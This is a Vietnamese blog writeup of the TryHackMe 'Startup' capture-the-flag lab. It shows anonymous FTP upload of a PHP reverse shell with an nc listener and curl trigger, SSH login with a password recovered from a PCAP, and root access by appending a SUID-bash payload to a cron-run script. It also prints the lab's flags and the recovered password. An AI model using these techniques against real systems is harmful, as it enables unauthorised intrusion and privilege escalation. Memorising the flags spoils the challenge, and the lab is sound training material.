Skip to main content

TryHackMe - Startup | Writeup chi tiết (Red + Web)

Updated 3 min readMarkdown

Bối cảnh: Đây là writeup phòng lab TryHackMe "Startup" — môi trường được phép, thực hiện trong VPN lab của TryHackMe, mục đích học tập & phòng thủ. Mọi thao tác chỉ áp dụng cho máy mục tiêu của lab.

Độ khó: Easy · Chủ đề: FTP/web RCE → phân tích PCAP → privesc qua cron writable


1. Recon — Nmap

Quét toàn bộ port:

nmap -sC -sV -p- <MACHINE_IP>

Kết quả 3 dịch vụ chính:

Port Service
21 vsftpd (FTP — cho phép anonymous)
22 OpenSSH
80 Apache httpd

Nmap scan


2. FTP Anonymous + Web Maintenance

Đăng nhập FTP ẩn danh:

ftp <MACHINE_IP>
# user: anonymous / pass: (trống)

Thấy thư mục ftp/ ghi được và file notice.txt nhắc về việc bảo trì / di chuyển credentials.

Anonymous FTP

Trang web port 80 chỉ là trang Maintenance.

Trang Maintenance


3. Gobuster → /files/

gobuster dir -u http://<MACHINE_IP>/ -w /usr/share/wordlists/dirb/common.txt

Phát hiện /files/ — đây chính là thư mục FTP ftp/ được phục vụ qua HTTP (Index of /files).

Gobuster

Index of /files


4. Upload reverse shell qua FTP → RCE

Vì ftp/ ghi được và lại được serve tại /files/, ta upload PHP reverse shell qua FTP rồi trigger qua web.

# Trong phiên FTP
put shell.php

# Lắng nghe
nc -lvnp 4444

# Trigger
curl http://<MACHINE_IP>/files/shell.php

Có shell với quyền www-data (LHOST = tun0).

Upload shell + RCE

RCE www-data


5. recipe.txt + PCAP điều tra

Trên máy có recipe.txt → trả lời câu hỏi "secret spicy soup recipe" = love.

Quan trọng hơn: thư mục /incidents/ chứa suspicious.pcapng.

recipe.txt và /incidents

Tải file về và mở bằng Wireshark, Follow TCP Stream → tái hiện phiên reverse shell của một kẻ tấn công trước đó. Trong stream lộ mật khẩu khi gõ sudo:

lennie : c4ntg3t3n0ughsp1c3

Phân tích PCAP


6. SSH lennie → user.txt

ssh lennie@<MACHINE_IP>
# password: c4ntg3t3n0ughsp1c3
cat ~/user.txt

user.txt = THM{03ce3d619b80ccbfb3b7fc81e46c0e79}

SSH lennie — user.txt


7. Privilege Escalation — cron writable

Trong /home/lennie/scripts/ có planner.sh và startup_list.txt. planner.sh gọi tới /etc/print.sh — file mà lennie có quyền ghi, và một cron của root chạy planner.sh định kỳ (~90s).

Privesc enum

Ghi payload tạo SUID bash vào /etc/print.sh:

echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /etc/print.sh
# chờ cron root chạy (~90s)
ls -la /tmp/rootbash   # -rwsr-xr-x
/tmp/rootbash -p
# id -> euid=0(root)
cat /root/root.txt

root.txt = THM{f963aaa6a430f210222158ae15c3d76d}

Leo quyền root — root.txt


Tổng kết

Giai đoạn Kỹ thuật
Foothold FTP anonymous ghi được + serve tại /files/ → PHP reverse shell → RCE www-data
Lateral Phân tích PCAP (suspicious.pcapng) lộ mật khẩu lennie
PrivEsc Cron root chạy script gọi file ghi được (/etc/print.sh) → SUID bash → root

Bài học phòng thủ: không để thư mục FTP ghi được trùng với web root; không lưu credential trong file/capture để lộ; script chạy bởi cron root phải thuộc sở hữu root và không cho user thường ghi.

No comments yet. Be the first to comment.

More from this blog